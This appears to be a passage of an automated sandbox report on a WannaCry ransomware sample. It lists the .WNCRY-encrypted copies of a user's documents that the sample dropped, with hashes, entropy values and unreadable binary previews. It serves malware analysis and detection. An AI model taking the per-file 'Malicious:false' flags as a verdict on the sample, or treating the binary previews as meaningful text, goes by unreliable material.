                                    Preview:&.....Jb.......nA..NH.6XT`!...]..B....}e,.$.6...a.;....D....X.......{h._E.a..s..Z../ly/W.3n.y. .w...0.E.*.Q&.3p."..........|$A.=..p.}+.bQU.=.6_......9..f.e..@.=.]s...G..A..c..n.k..Q.z...`.px.BxH.....?...~..?.\....)!.!.E.N.Y.....@k.....Hh.#q...u...".......O+..U....N....);d~.v.....U?pr..N..o...dq..u.K.31.f..o.~0..DDhp+...9..].a..,d...ur,....Cm< +_3....i".Q.,X."iz.......h..R.....j.=.qJ:..U.....N|NjB..5.....(...N..5.........U.l:....s..3.r....`8X._.#/..h@.~+.d.....|....N..e.}.!G.Nr...].f....X.^L...2...j.....1.-S..p....k..0.6....];........J..h...1..;.+.I....G...B.K.el..4?I.H&\.\... ...9...2.] ..YO6zK;.I.......r....D.i..7....Z.i.../..#...jh...\.RLr..'6...g..8..5.aW..}..D."G....k.G.....7....."..m.......[.`....L...."jq..LaK.f.8.P.....<..lD(./...(../.-h7.'.........];p.R...~...(/..............U&.xc..'<.=1..*...mQ.8..).?.a.!....Ux##.`ZU.0......t.x)....J.y....x......Nb.m,..w...&...I...(......" .j.dtnly..,...D.9.....p.C]...S..ym.$.e.`.R...p..

                                    C:\Users\user\Documents\LIJDSFKJZG\WSHEJMDVQC.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.840560422151825
                                    Encrypted:false
                                    SSDEEP:24:bkS30h/IUPKQ9VzY5UR53zHJjOXH1/vi9UA+Hpt+UioF4fZ+KItJXoykzuk:bkSEh/f5fv3zHJjOywH9z4IK2Ronx
                                    MD5:72D72A1744D3A77980A7E08474C58DBE
                                    SHA1:B2C516326BB8A37977387164A7A0C23B4FA04490
                                    SHA-256:F72BC7459C44A8222E6C885FB779BCD9376F40F09EE2F48A56DAB2CBDAB1FC04
                                    SHA-512:75A413F2A81A31254D7C0508F311BBBDD7184D7344B3722A867A6C37A4CB68B34F03B6CF7A85BF3EA59437198EF96BD44482B21CB0E3FF89CA3A470738380DDD
                                    Malicious:false
                                    Preview:WANACRY!..........tf.U.P.tuC!n.....bS: ..R...h.|.)...9..z.&.a..^v=.4K.:.V.)I...._Fb.w...1..p7.....I...si.-......8....b...9H.]Y.(......_.!..c.Owk.K..U.....N^..6.EC. n.._....\_.X.1...2......o1A...K.l..X....r...3Y.m....K.V.g.:..@..;...=W.16..Z....DEHG.x.$....c..............]I.U............\1.O.Zi.......Q.......7..~.iW.nk...?.1&x..@k?cu.$.%...H-.Q`..w=*.3`g.!I..M.+..g|i......#k...\.....d.G.e..J......P.}.....!.?.2..+k.z.....FE.....p.m....o('....^.].H*..N:.:...O....rb....P.N.K.C.=..D'x,..M...n.oc!.p%.....X....:r.m.p.!..a5..^.U.!.l...~a......"..<&.3..~M..2q..YL...N.....t.|.m..5..hd....R%(...,"].A..s.;zJ...h.....1.iD^...)O`....%dx...l.F.....-`t.+\Z...._7...".(...6..V.2...n.~....=JY...w..,<...\.]mUd7.q...A..wkTpRd.1..[*.d..`!.in$..T..U +{..qYo..'....5(...A...DI..%c'......x...7G..>.k..o....@.m.$.pp..V....i@.........0b....)....n";..l#.....v..^$..s....k..u.<.........<a.......mF.[..Q`..v...s.W....1....EU.&..G....s5...n+...(|..A...XK..+f.eVZ....x&(.j

                                    C:\Users\user\Documents\LIJDSFKJZG\WSHEJMDVQC.xlsx.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.840560422151825
                                    Encrypted:false
                                    SSDEEP:24:bkS30h/IUPKQ9VzY5UR53zHJjOXH1/vi9UA+Hpt+UioF4fZ+KItJXoykzuk:bkSEh/f5fv3zHJjOywH9z4IK2Ronx
                                    MD5:72D72A1744D3A77980A7E08474C58DBE
                                    SHA1:B2C516326BB8A37977387164A7A0C23B4FA04490
                                    SHA-256:F72BC7459C44A8222E6C885FB779BCD9376F40F09EE2F48A56DAB2CBDAB1FC04
                                    SHA-512:75A413F2A81A31254D7C0508F311BBBDD7184D7344B3722A867A6C37A4CB68B34F03B6CF7A85BF3EA59437198EF96BD44482B21CB0E3FF89CA3A470738380DDD
                                    Malicious:false
                                    Preview:WANACRY!..........tf.U.P.tuC!n.....bS: ..R...h.|.)...9..z.&.a..^v=.4K.:.V.)I...._Fb.w...1..p7.....I...si.-......8....b...9H.]Y.(......_.!..c.Owk.K..U.....N^..6.EC. n.._....\_.X.1...2......o1A...K.l..X....r...3Y.m....K.V.g.:..@..;...=W.16..Z....DEHG.x.$....c..............]I.U............\1.O.Zi.......Q.......7..~.iW.nk...?.1&x..@k?cu.$.%...H-.Q`..w=*.3`g.!I..M.+..g|i......#k...\.....d.G.e..J......P.}.....!.?.2..+k.z.....FE.....p.m....o('....^.].H*..N:.:...O....rb....P.N.K.C.=..D'x,..M...n.oc!.p%.....X....:r.m.p.!..a5..^.U.!.l...~a......"..<&.3..~M..2q..YL...N.....t.|.m..5..hd....R%(...,"].A..s.;zJ...h.....1.iD^...)O`....%dx...l.F.....-`t.+\Z...._7...".(...6..V.2...n.~....=JY...w..,<...\.]mUd7.q...A..wkTpRd.1..[*.d..`!.in$..T..U +{..qYo..'....5(...A...DI..%c'......x...7G..>.k..o....@.m.$.pp..V....i@.........0b....)....n";..l#.....v..^$..s....k..u.<.........<a.......mF.[..Q`..v...s.W....1....EU.&..G....s5...n+...(|..A...XK..+f.eVZ....x&(.j

                                    C:\Users\user\Documents\NIRMEKAMZH.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.794979540180654
                                    Encrypted:false
                                    SSDEEP:12:HtfIi+mFHIVsM1sF7VDlxVzDzqJZj1MdUQEEz+r/E5A2aFxPk8akQul5WzFNn29g:3+mHAKz3Gj1MWQEN/xsHm9ZS
                                    MD5:62A09B6E963709722F8BDC35FFC5E75C
                                    SHA1:93EF516491A2325C9DED4330CC565728F4923F10
                                    SHA-256:C5DD69F0980346E0E6E543E5817B6245285010EAA7405015B7FE9FBEB922ED24
                                    SHA-512:3F1150B1876B17E63575F18626E4E2628B9A4300F405AAB2EB4E2E3E785F7ACD56CB26DA872C4658AC9B37A0E82DBD23F7C3C1F135FB36DF72FC53184567E0DF
                                    Malicious:false
                                    Preview:..3..1........t...@..#....7hW9cj.6.h.L......H&..n:n.K..Z...8.....(.O).......(6..F%....L.....X$.a..V...=.i.jNCS.qk.$.p.4.].....;.O*.|.........w.Z....h.%..k.$....-..Q...a.@@..p..r..&...:6....;k.v.H...M%..x..Z..R~l).,..TX..\...q;.n.._..Byo.../..G..^.Z........'.Y....E.r..C~.-zN..+..Q.%..3.s4c....w...s ..CD. x....[...J............,.....(..=J[..=..?....H..& %..&..B......QgB.!....qp;ci\T../7nb..H.Zy.sG..W...J..L..S..h.f...:...a)t.8{......M...[:..;@...Q.=..;....qv...]..d09...r.... .ei.g..bv...r..i.....o.C..k. |.7{0.RX...,.$.^.{..."....r0j.c.u@.aP.F.51.nH.K....]o-}..[1....o.O..6..8CVG....G..x.n.]z004.'....x.X.=.+a.hw.$.e..3...x..[.j....Y.}9.A...I.p<QQPsd....ei..L.$.jy.._..W.....H...5.-.W.).....c.. ..(.r.i..WG.ff+b..............-.ln7.;H.M..-!.D..5../.. 1....{Z..^..g,?K.iL%R....to....;).bx..bb....)Q.Z.RY..=}(..f.>o6......Q....}..z.,...L.{?!......k`.I.Z...~p/.l.pK.C. ...y.......J.I0?#..^e9..\..w..^.........8W:fE.H.SD..1..Y.g....

                                    C:\Users\user\Documents\NIRMEKAMZH.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.827978299662365
                                    Encrypted:false
                                    SSDEEP:24:bk/U22IYW7uF5I5BeGI2aXHvCfPw7/W4JZ5vVqEkpS+dgGeDucviYM/kcj8bm8HC:bkMS7Cq5BeGI2ayGbZ5dq14KgGeScv41
                                    MD5:8BD39EF2884BB83F5132EB206E1BDB4E
                                    SHA1:D4908C7B17015E8E3EFFA84C8D86E021615DF6A6
                                    SHA-256:996686293C107E5364DC2E6B96253FFD800E4EBC0B598FDDFD9E9459E0214BB4
                                    SHA-512:401D7AF974D7B1FEEFF459B8038B0CFB3141F142FDDB40BDF88FF615173DBEA7A96F1E18D487E58CE2F5134E0ED5A1ABEE5616D908A90876BC5659892DD73F05
                                    Malicious:false
                                    Preview:WANACRY!......O.?.U./\#.cz.M.........g..".[e.s.m.W.$[r..W.S.zZ...y....#m[.~w....r.n....;...".A[.p.x...D...."..c.|.gQ..eg....PF.!8...:^E!d...d..1..2?3........?.g....>\..+..S."...I.wS....&4!R...E(....~F....MT:2W.C........b.=v...A.....g..f()...\P......\.A............0.`......Q).]\...b. .~.[.&.z.P'.....4D..=..[.....Z.SP..N~O...o.......AT7.v..=.X.....Zz.../.....a'nK..#..m..d...).#C..*4.HE2>._..............b.srO.`.,%.(.9.SO.t....e....n.:..}....@YV..:...gfP.+.dX...........2ay.w5{..........lj*Z...Y.l...j.0..y.....B.@..'(.c;..r=..I-c+..hJQ..~.DE..I..b.e..f.._..F.;.R.......3N....'.yk]...rA]..&4^A.Y.=.l\....._jF.+uiBY..0.S....D.......d.D{..c.V.....Zf..w.<}.X.7........Q.`$.......K...v.....Y*.@..N...~.......}V3=..h......K..q.{.UEGJ.5...\fq..@..)...Y^.Z..o.u.......Ne.....C.OL..5.3...$....../.V......ZqZcY.$..A.q/U$..,c.K7...K...x$...SY..H../{.~.x.$....w..T.3..b....xA..3.....^v.cD...-..Gj..^....T{.4..f..P.z...77.s.q....5.....Mf.#B.....K. N2...

                                    C:\Users\user\Documents\NIRMEKAMZH.png.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.827978299662365
                                    Encrypted:false
                                    SSDEEP:24:bk/U22IYW7uF5I5BeGI2aXHvCfPw7/W4JZ5vVqEkpS+dgGeDucviYM/kcj8bm8HC:bkMS7Cq5BeGI2ayGbZ5dq14KgGeScv41
                                    MD5:8BD39EF2884BB83F5132EB206E1BDB4E
                                    SHA1:D4908C7B17015E8E3EFFA84C8D86E021615DF6A6
                                    SHA-256:996686293C107E5364DC2E6B96253FFD800E4EBC0B598FDDFD9E9459E0214BB4
                                    SHA-512:401D7AF974D7B1FEEFF459B8038B0CFB3141F142FDDB40BDF88FF615173DBEA7A96F1E18D487E58CE2F5134E0ED5A1ABEE5616D908A90876BC5659892DD73F05
                                    Malicious:false
                                    Preview:WANACRY!......O.?.U./\#.cz.M.........g..".[e.s.m.W.$[r..W.S.zZ...y....#m[.~w....r.n....;...".A[.p.x...D...."..c.|.gQ..eg....PF.!8...:^E!d...d..1..2?3........?.g....>\..+..S."...I.wS....&4!R...E(....~F....MT:2W.C........b.=v...A.....g..f()...\P......\.A............0.`......Q).]\...b. .~.[.&.z.P'.....4D..=..[.....Z.SP..N~O...o.......AT7.v..=.X.....Zz.../.....a'nK..#..m..d...).#C..*4.HE2>._..............b.srO.`.,%.(.9.SO.t....e....n.:..}....@YV..:...gfP.+.dX...........2ay.w5{..........lj*Z...Y.l...j.0..y.....B.@..'(.c;..r=..I-c+..hJQ..~.DE..I..b.e..f.._..F.;.R.......3N....'.yk]...rA]..&4^A.Y.=.l\....._jF.+uiBY..0.S....D.......d.D{..c.V.....Zf..w.<}.X.7........Q.`$.......K...v.....Y*.@..N...~.......}V3=..h......K..q.{.UEGJ.5...\fq..@..)...Y^.Z..o.u.......Ne.....C.OL..5.3...$....../.V......ZqZcY.$..A.q/U$..,c.K7...K...x$...SY..H../{.~.x.$....w..T.3..b....xA..3.....^v.cD...-..Gj..^....T{.4..f..P.z...77.s.q....5.....Mf.#B.....K. N2...

                                    C:\Users\user\Documents\PWZOQIFCAN.jpg

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:OpenPGP Public Key
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.825454737260498
                                    Encrypted:false
                                    SSDEEP:24:gN7qDisG6LljEMaHR/GMqkfwgI6llD/VDi/2FWpjef7J+NvDS:gpmbOlvfwgIGl7o2UeDJym
                                    MD5:822A2236D3E27BDC6FDEE938C901839E
                                    SHA1:1FC0657FDE39C61EF601EC5345B398D037D14491
                                    SHA-256:F876F1EE6D5EFEE4B2FB7FF7C3C127D32CB1DE5FC75F3444ADE14EABC8D89356
                                    SHA-512:F1FB2B398083A5430C013AC1F9329CB3FAFEC1DA08414D0A2B8B786A37F865802BFE72284E43A6604EF1EC29B82DC5C0D8E8B118EE9FB2849225F4859F351803
                                    Malicious:false
                                    Preview:....r....mb..M.v~......8..Yj.N|O__......`...Wx.F..HF$...C?..(..p.+.mYn.....EQ..[Rt.;..V......bv...[...u.3?P.LQ.6.8........ud..1f#..aE.q..,...WI.l.3x~.=.<[A.:..;.8.o..Z.^P..F..m...P.$I..%........r...F`.'..wpN.......x.[E`.....W$~..w...v2R.......v.`..m.`@_,...9.z...I.=..Yck\..* biG.+4}....$Y......u.....D...>.j..._..5.U...-..U...'.h...-Z..C..._.#Q.t.m.lO~..o."..T.........%Q.i....k..FU._.2.'......D.0..Vd.f..*4....v.....6okN.qa...........j.Xf C#...UT...C.....ZTmn.Z..Z3.P......a.....?....h..&]...2.&.T..h/g!.9....TY.Y.$...i...R.eP.g.D6.....A[%.n9.6..a^....'...!8...V...p.~(T....t........g)..A8.......H..%SuZ..p..B..7k.....<).%.Cz../H.<......@,'...{.-....9....J..+..ao..U*....a..&Kq.8...o.....'0l.f.GJ..$.3.;V.J4..I..6.../..O..._.......)W........o.c.Ay..pm*... .F.U..8....46..~..^..hHFu.5..6o.....N<.D3.l.....~Z.?F.|+./e.M....=.......M.*.+.....fm....:..iYS.]3.,..V..z.26O. .Q5...0.;.*.[.r...b.."m).*A&....3i....#.f.(o.d.Ir......{...AP.

                                    C:\Users\user\Documents\PWZOQIFCAN.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.84062626094749
                                    Encrypted:false
                                    SSDEEP:24:bkQ4Jo1vgqluFS6vM3u9araoF//g0UcPna3mXi+OmoA:bkS1hluFS6E3u9kaoF3gl8nHStdA
                                    MD5:C676FB85FE9A6BA765AA482DB2C6FF06
                                    SHA1:73345892B59D0C9F9956DF3C277A709C30287DC3
                                    SHA-256:A04D75E8444CF9738EF36319D2D2BD1D9FD00BF55E8F2B7DB336212A63D190A1
                                    SHA-512:4EDC4AFAE04892141F5FC64399AC24726C9C8628159A86BD3AA1C3505BEF4A23821194D6E653A0D0509B819E367F4F0B7AC4BC84ACA5BF7CAFE3CAA78CF4766C
                                    Malicious:false
                                    Preview:WANACRY!..........'/..Op^Li......a|..P'........1..[tC..FTI...8.D;..:.a.zx...}...gQG*.S.Y..X~.-....M1..!U.`....}..S..WI.d.V....A.....V01:9..sO.$..t....!...E4c.....?..^...S>.u....n....59.1~..."V.......c.S..=.mN....i..(....f.obs$a..........e.....G...5c.H..sC............b.p.. ..+..V..F...3..i..Z......C(.!65.e.. 0.ws...c.Df../.N.....`.........<..Xl5u....NdW........~..^R.l...`..[G.X_&.z}~....^.5X..v.{m...._*...t!|.;.t....K..:.F....#..g......Q.....?..7....u=9.O......$...m.....?..]..h..^9f6E.....b.\.J.3|92...^..8....M[h..'....jm...-..BV.q.....X.h..w..r(Cm..$.2........?.w.x.\AzTx..........r.....Z4.e."e... q.1...Y?.....Jp.L..)..dpU.$...].1v.T..1....#%...{.}....p.2.?.-.h.......5..l$..5.*.X.........`.t*s.....!$J...es..t...:;f.O.)H..H.*.N{.ZX..39..Z.|....\...D.Z.9...T.aA..[.(..../....w,.3.w.LW.}{.M.yo.W:..].....8...._.TP.."..N..H.nk}Z.`EA.w.O*....##.5..5..........c.<..O.........=r....@5)%.M,..^%".sc.......L.E....-...........)...m2=}....t....B."..

                                    C:\Users\user\Documents\PWZOQIFCAN.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.84062626094749
                                    Encrypted:false
                                    SSDEEP:24:bkQ4Jo1vgqluFS6vM3u9araoF//g0UcPna3mXi+OmoA:bkS1hluFS6E3u9kaoF3gl8nHStdA
                                    MD5:C676FB85FE9A6BA765AA482DB2C6FF06
                                    SHA1:73345892B59D0C9F9956DF3C277A709C30287DC3
                                    SHA-256:A04D75E8444CF9738EF36319D2D2BD1D9FD00BF55E8F2B7DB336212A63D190A1
                                    SHA-512:4EDC4AFAE04892141F5FC64399AC24726C9C8628159A86BD3AA1C3505BEF4A23821194D6E653A0D0509B819E367F4F0B7AC4BC84ACA5BF7CAFE3CAA78CF4766C
                                    Malicious:false
                                    Preview:WANACRY!..........'/..Op^Li......a|..P'........1..[tC..FTI...8.D;..:.a.zx...}...gQG*.S.Y..X~.-....M1..!U.`....}..S..WI.d.V....A.....V01:9..sO.$..t....!...E4c.....?..^...S>.u....n....59.1~..."V.......c.S..=.mN....i..(....f.obs$a..........e.....G...5c.H..sC............b.p.. ..+..V..F...3..i..Z......C(.!65.e.. 0.ws...c.Df../.N.....`.........<..Xl5u....NdW........~..^R.l...`..[G.X_&.z}~....^.5X..v.{m...._*...t!|.;.t....K..:.F....#..g......Q.....?..7....u=9.O......$...m.....?..]..h..^9f6E.....b.\.J.3|92...^..8....M[h..'....jm...-..BV.q.....X.h..w..r(Cm..$.2........?.w.x.\AzTx..........r.....Z4.e."e... q.1...Y?.....Jp.L..)..dpU.$...].1v.T..1....#%...{.}....p.2.?.-.h.......5..l$..5.*.X.........`.t*s.....!$J...es..t...:;f.O.)H..H.*.N{.ZX..39..Z.|....\...D.Z.9...T.aA..[.(..../....w,.3.w.LW.}{.M.yo.W:..].....8...._.TP.."..N..H.nk}Z.`EA.w.O*....##.5..5..........c.<..O.........=r....@5)%.M,..^%".sc.......L.E....-...........)...m2=}....t....B."..

                                    C:\Users\user\Documents\QFAPOWPAFG.pdf

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.793569894828463
                                    Encrypted:false
                                    SSDEEP:24:2aNIynj+unl1YI1vWvTrcSD/pmIWmLLQTSu9cm9VaqgyB1DiPs6+t:2OIyjjlrOvYmLLXu9uq5ihs
                                    MD5:B08D4DB8EC146D8C325E9BB17530EBBF
                                    SHA1:435C002D92E7DD44C276430BF97FCA2448AA7490
                                    SHA-256:000470466C2423EA6EDD28CAB8F3DA94EC28E85BDAD9E472A7B54DCE799DA74B
                                    SHA-512:F1A23190DC1075CA76D4B00C39701D5A7F2EABA69F4FC835DCE1EA102838967FFF2B0DCC7F8898E01066F298D2483D2563B46DF297EC3966B99E2E6B4162B3AA
                                    Malicious:false
                                    Preview:7.$M.6.{!...LQAc_..y..({+H7.J?^......~.{*c..(....(?.....h....;*.9-.x!7....m.t..H...>.1.....)w.FG..z...y..."Eq..Es..J....m.|...Cl.A..z.G>V.L........K.B. ..m.G.......L*x..|Y..Xvg.}...........}...61..g}P.9.!.;{A.c./e.Ps....E...... 1.g.Opxi.!...Q.Q.....vY.s.K...m(_...-.c.jtd,..N..FJ.k...b...^U.....2....._....+@.\.8...E...2...[}p<...6P.^.;_..Y...l...'U..6...Y.g...u...fg8......#...Q..;.j.W.4<:<.....W2.H72.4I.....-.M...]'..... J.u.f...p ..=......p}.:..}P....z..c.....6..<.....R\O..j...."..={2..&."..<3ElN7..k.\....'............+...I.M....?...h......0..{2...}..T..{..Ga."....w'.........1...d.C..u..A..:..U\.q.D9.w...S.-.+./i.........;^.x[..Y...'.`.h......1 P~[.-+.8....u.C............pc.v..N........|..\J..K.^.....Z..............h..6q.2..v.T....\...$.?~e...'.....mc....V.O.q....AS...y..|. ...R.._._;.#..gX...S.4..l..l.L\...mT L.9.f..`. ...zr......S..3KI.hm E.6......q.G=....(.........).F5.*w....<...r...{F..G.DW..".........2..P^*.q.......

                                    C:\Users\user\Documents\QFAPOWPAFG.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.849029961976178
                                    Encrypted:false
                                    SSDEEP:24:bkPZlJm0J8Ww3TDfE+bt5aIyaobwoTD99M7RohqkARhWNNdAf3LcbWwAwWI:bkY5Ww33x5aIzv8J5AX7WHtywArI
                                    MD5:E10B23A08DD80AF4B91C4DF641DC2F1F
                                    SHA1:248C370ABEF4332386DD018623CCBD650DF49253
                                    SHA-256:25D7C8789F95858CD5ABF6FB8A0A72CABA76B52A6E46F75978F84689F97D4B3E
                                    SHA-512:33826B84F8A7EB39A6DCFFC63F00A40FCBDD642FC9C54EBE263E925833100AF8266540BEA84D5B75D18AD7A9F065EA85E0D926D3A088436C6B5AAFE8F8284B39
                                    Malicious:false
                                    Preview:WANACRY!.....n.Z...Stn..$.=..!.$...,.P.#@33...J....'..@.2@A~.0..m....n...1...U....../..3...&........v...F.R0......"...7.k...v....b)j.K.tK.....U.<w...y..>...2..X.._,.d<...R...Q....._.64......q.k.I.la......QI....[.GAJ.w{..l.....H.....X.R....O/..b.-.{.8.[.2...................nJJ#}i..1.....\.*....s..<o7z.$RR.}@-.......z.A..2.n....q...0 ..U.Q..5.?}g............ .x'......i.&'L....`j..'....[..4.&LVdb..Yb...}.S..f.17........#..q4.z.:...M.....c...^.H..t....C...]<}hf;'.>.I......W8......5.1<..&..v...._~.6...U..f......^7....M......z.... o.u|.5.........'....q.....M]I. ....iXL.V.....1N~.3....`.......m..t..P.U...WZz.M%:..eSf.s.$VQS..6X./......kl...M..z....l<....1..$R0Y._Ct.I-...9..UM.P.8!7...oud....|6B.~!....Ndgn..-....|.G$;..w..~<....."rJ...8..YJT.].._ca.=$..4.U.[m...@..]....mu"aT.u.lJ......MC..03v.?.6..:T....N.*.W^.*.'0@....S.3...v^o-....(......?&./....G.d;...B..3V....O.../...c..i...y.BP.2`:..0..~.oW-.b...\6.............2..#/..k+.2.S..)..n%8@...

                                    C:\Users\user\Documents\QFAPOWPAFG.pdf.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.849029961976178
                                    Encrypted:false
                                    SSDEEP:24:bkPZlJm0J8Ww3TDfE+bt5aIyaobwoTD99M7RohqkARhWNNdAf3LcbWwAwWI:bkY5Ww33x5aIzv8J5AX7WHtywArI
                                    MD5:E10B23A08DD80AF4B91C4DF641DC2F1F
                                    SHA1:248C370ABEF4332386DD018623CCBD650DF49253
                                    SHA-256:25D7C8789F95858CD5ABF6FB8A0A72CABA76B52A6E46F75978F84689F97D4B3E
                                    SHA-512:33826B84F8A7EB39A6DCFFC63F00A40FCBDD642FC9C54EBE263E925833100AF8266540BEA84D5B75D18AD7A9F065EA85E0D926D3A088436C6B5AAFE8F8284B39
                                    Malicious:false
                                    Preview:WANACRY!.....n.Z...Stn..$.=..!.$...,.P.#@33...J....'..@.2@A~.0..m....n...1...U....../..3...&........v...F.R0......"...7.k...v....b)j.K.tK.....U.<w...y..>...2..X.._,.d<...R...Q....._.64......q.k.I.la......QI....[.GAJ.w{..l.....H.....X.R....O/..b.-.{.8.[.2...................nJJ#}i..1.....\.*....s..<o7z.$RR.}@-.......z.A..2.n....q...0 ..U.Q..5.?}g............ .x'......i.&'L....`j..'....[..4.&LVdb..Yb...}.S..f.17........#..q4.z.:...M.....c...^.H..t....C...]<}hf;'.>.I......W8......5.1<..&..v...._~.6...U..f......^7....M......z.... o.u|.5.........'....q.....M]I. ....iXL.V.....1N~.3....`.......m..t..P.U...WZz.M%:..eSf.s.$VQS..6X./......kl...M..z....l<....1..$R0Y._Ct.I-...9..UM.P.8!7...oud....|6B.~!....Ndgn..-....|.G$;..w..~<....."rJ...8..YJT.].._ca.=$..4.U.[m...@..]....mu"aT.u.lJ......MC..03v.?.6..:T....N.*.W^.*.'0@....S.3...v^o-....(......?&./....G.d;...B..3V....O.../...c..i...y.BP.2`:..0..~.oW-.b...\6.............2..#/..k+.2.S..)..n%8@...

                                    C:\Users\user\Documents\SNIPGPPREP.png

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1026
                                    Entropy (8bit):7.81127959309844
                                    Encrypted:false
                                    SSDEEP:24:pCyUhHmGBOKhtinov679kv1Ae8G9ZS+Hk7jzaH0J+RLH:MyU2K7v4e1Lwv+H0J+t
                                    MD5:3D3ECCA7E5300B056D04EE8226B7A9F3
                                    SHA1:783A21A3452F90FF3B9B817F586C8413314DFBF4
                                    SHA-256:ADBAABC2B10D83FBCEDDBD8155E157DEDC16C444D3327768C2EA17BF0650839F
                                    SHA-512:439F7469EEA02AB104A47F92BED2F278ADD74350E223CDBB6596D24872DFDC70C5468BFC3414E783C432810E73F50FB4661A70BD03E2E69832CFDD8D0E1F9D3A
                                    Malicious:false
                                    Preview:|@.E..H0.s.#....!..xLOto..x.9.=[.65...y...Y...0A..-....=.z]c0yw.k.I...!..Ne..xN.R.?.~.?.erl9../...E.j.Z..."BMO..(..'.Db.pR.+....i.b.^Q_...6...b.'..a--.<...KB\l.:...m.t.5.Y...h-.6.+....a.J).....T....<p.t.u.g0...gW.s.v. u..9~C.Dg.....b..t-..4"E..D'1..j......."...g...m.0..G.}B...;....n.<.i.R.^.d...3.f+....t........Y.tbm...%F`O...+u.?3(p&.U..;..%.4.*.8..$=T5.M..._.*....|.R.t*.."M........,....kW.5....F...x.+......J..f.........f_.....3H...0...d....._..D...vg$.!..Ot....i..~Q.......+J.i.......t.^..l'....h....s.s._k.......vZ.G.R....\.3CDg../7....Z.Gf..y.B.<%.....m.'.3j.R:?..U/..n.t..f.m....c....D....}{..&...m.q..).......F....o.....G?f......D-/..=,...r..eo..%N....^Z..J....*.P.........s(..bgn...p].O?...[?WpLI....H.9...I..........._..j...S!....t....j.....9..l.#..9^.0*.9....:....Fk.....X....g[....).sR..C....+xr...p......mV:(H....N^...p..j.O.5.TG...(..H...wNz'XF.wR?.@'.dP.U.Kk....%...L)..U......e.X....k..(...S.p.I.'2.C.9....1k94L:..%.._l.>..q.

                                    C:\Users\user\Documents\SNIPGPPREP.png.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.842248171176425
                                    Encrypted:false
                                    SSDEEP:24:bk7jKYdX2TObl4tyt8fQRF5pGM8WYWRIs2q6dG0XIyKAxivPQip:bk7DmTOmyCoRwM8WYyIsEG0YSY/p
                                    MD5:D730F1F5645B783D289A9CC6187D3310
                                    SHA1:80CEE362F8B65DE398AD9CA6DBBA41242025359D
                                    SHA-256:535178AC771D99530FAD008EC98B87E30D8B917E8E8A1C554E18F0BD2C3190FF
                                    SHA-512:3DE29480EA69978E04C6A8F3D543B6FD7524A10E49D2DD947D4A310A242795D0A6B42260CBC40B0255ED286E484F769FA6F52FF14F2E5BD8640497081C36F0BF
                                    Malicious:false
